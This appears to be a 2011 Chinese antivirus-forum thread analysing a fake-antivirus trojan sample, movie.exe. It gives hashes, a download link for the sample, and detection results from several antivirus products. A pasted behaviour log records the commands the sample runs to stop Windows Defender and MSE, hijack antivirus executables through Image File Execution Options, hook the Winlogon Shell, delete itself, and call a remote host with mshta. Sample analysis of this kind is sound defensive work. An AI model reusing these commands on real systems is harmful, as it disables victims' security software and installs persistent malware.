色播movie.exe·你懂的

思齐鼠

文件名称：D:movie.exe
文件大小：1760256 字节
修改时间：2011年6月22日 06:10:42
MD5     ：160ACA37129092CD7703F60D4A55B34B
SHA1    ：8CF01C81188B338AEBF6FF6345899F73C2B3048C
CRC32   ：CA32E5F3


国外的那啥网上截获的下载地址：http://dl.dbank.com/c0b4rei16w

jayavira

广告软件
ess kill

D:\下载文件夹\VIr.rar > RAR > movie.exe - 可能是 Win32/Adware.PrivacyGuard2010.AZ 应用程序 的变种

思齐鼠

jayavira 发表于 2011-6-22 07:34
广告软件
ess kill

非广告软件····

jayavira

思齐鼠 发表于 2011-6-22 07:35
非广告软件····

nod32的命名就是广告软件啊

Adware.PrivacyGuard2010

风亡

360 SD kill

wqcaokeyinwq

金山卫士秒杀。。。。。。。。。
过微点扫描。。。。。。。。。。。
过红伞扫描。。。。。。。。。。。

liulangzhecgr

2011-6-22 06:52:55    创建新进程    允许
进程: c:\windows\explorer.exe
目标: e:\downloads\vir\movie.exe
命令行: "E:\DownLoads\Vir\movie.exe"
规则: [应用程序]*

2011-6-22 06:53:08    创建新进程    阻止
进程: e:\downloads\vir\movie.exe
目标: c:\windows\system32\sc.exe
命令行: sc stop WinDefend
规则: [应用程序]*

2011-6-22 06:53:13    创建新进程    阻止
进程: e:\downloads\vir\movie.exe
目标: c:\windows\system32\sc.exe
命令行: sc config WinDefend start= disabled
规则: [应用程序]*

2011-6-22 06:53:18    创建新进程    阻止
进程: e:\downloads\vir\movie.exe
目标: c:\windows\system32\net.exe
命令行: net stop msmpsvc
规则: [应用程序]*

2011-6-22 06:53:21    创建新进程    阻止
进程: e:\downloads\vir\movie.exe
目标: c:\windows\system32\sc.exe
命令行: sc config msmpsvc start= disabled
规则: [应用程序]*

2011-6-22 06:53:27    创建文件    允许
进程: e:\downloads\vir\movie.exe
目标: C:\Documents and Settings\Administrator\Application Data\Microsoft\pwkoxk.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2011-6-22 06:53:36    创建新进程    允许
进程: e:\downloads\vir\movie.exe
目标: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
命令行: "C:\Documents and Settings\Administrator\Application Data\Microsoft\pwkoxk.exe"
规则: [应用程序]*

2011-6-22 06:53:44    创建新进程    允许
进程: e:\downloads\vir\movie.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /c del "E:\DOWNLO~1\Vir\movie.exe" >> NUL
规则: [应用程序]*

2011-6-22 06:53:47    创建新进程    阻止
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: c:\windows\system32\sc.exe
命令行: sc stop WinDefend
规则: [应用程序]*

2011-6-22 06:53:51    创建新进程    允许
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\conime.exe
命令行: C:\WINDOWS\system32\conime.exe
规则: [应用程序]*

2011-6-22 06:54:01    删除文件    允许
进程: c:\windows\system32\cmd.exe
目标: E:\DownLoads\Vir\movie.exe
规则: [文件组]所有执行文件 -> [文件]*; *.exe

2011-6-22 06:54:04    创建新进程    阻止
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: c:\windows\system32\sc.exe
命令行: sc config WinDefend start= disabled
规则: [应用程序]*

2011-6-22 06:54:08    底层键盘操作    允许
进程: c:\windows\system32\conime.exe
规则: [应用程序]*

2011-6-22 06:54:14    结束其他进程    允许
进程: c:\windows\system32\cmd.exe
目标: c:\windows\system32\conime.exe
规则: [应用程序]*

2011-6-22 06:54:18    创建新进程    阻止
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: c:\windows\system32\net.exe
命令行: net stop msmpsvc
规则: [应用程序]*

2011-6-22 06:54:21    创建新进程    阻止
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: c:\windows\system32\sc.exe
命令行: sc config msmpsvc start= disabled
规则: [应用程序]*

2011-6-22 06:54:30    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:54:40    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:54:46    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:54:53    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:54:58    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:05    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:18    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:22    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:25    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:29    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:31    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:33    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:35    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:36    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:37    创建注册表项    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:39    修改注册表值    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger
值: svchost.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*

2011-6-22 06:55:49    创建新进程    允许
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: c:\windows\system32\mshta.exe
命令行: mshta.exe "http://pcguard-online.com/favicon.ico?0=75&1=0&2=1&3=89&4=i-s&5=2600&6=5&7=1&8=86001&9=2052&10=-480&11=0000"
规则: [应用程序]*

2011-6-22 06:56:03    修改注册表值    阻止
进程: c:\documents and settings\administrator\application data\microsoft\pwkoxk.exe
目标: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
值: C:\Documents and Settings\Administrator\Application Data\Microsoft\pwkoxk.exe
规则: [注册表组]自动运行程序所在位置 -> [注册表]HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon; Shell

2011-6-22 06:56:06    访问网络    允许
进程: c:\windows\system32\mshta.exe
目标: UDP [本机 : 1299] ->  [127.0.0.1 : 1299]
规则: [网络]任意协议 [本机 : 任意端口] <-> [任意地址 : 任意端口]

2011-6-22 06:56:09    访问网络    允许
进程: c:\windows\system32\mshta.exe
目标: TCP [本机 : 1300] ->  [195.245.119.222 : 80 (http)]
规则: [网络]任意协议 [本机 : 任意端口] <-> [任意地址 : 任意端口]

wangjing520234

我的金山和AVAST没有反应啊

留侯

大蜘蛛：
vir\movie.exe - infected with Trojan.FakeAV.7527

各个反病毒软件的报告，真的是五花八门啊！

思齐鼠

wangjing520234 发表于 2011-6-22 08:53
我的金山和AVAST没有反应啊

解压以后应该可以查杀···或者是你没有升级病毒库···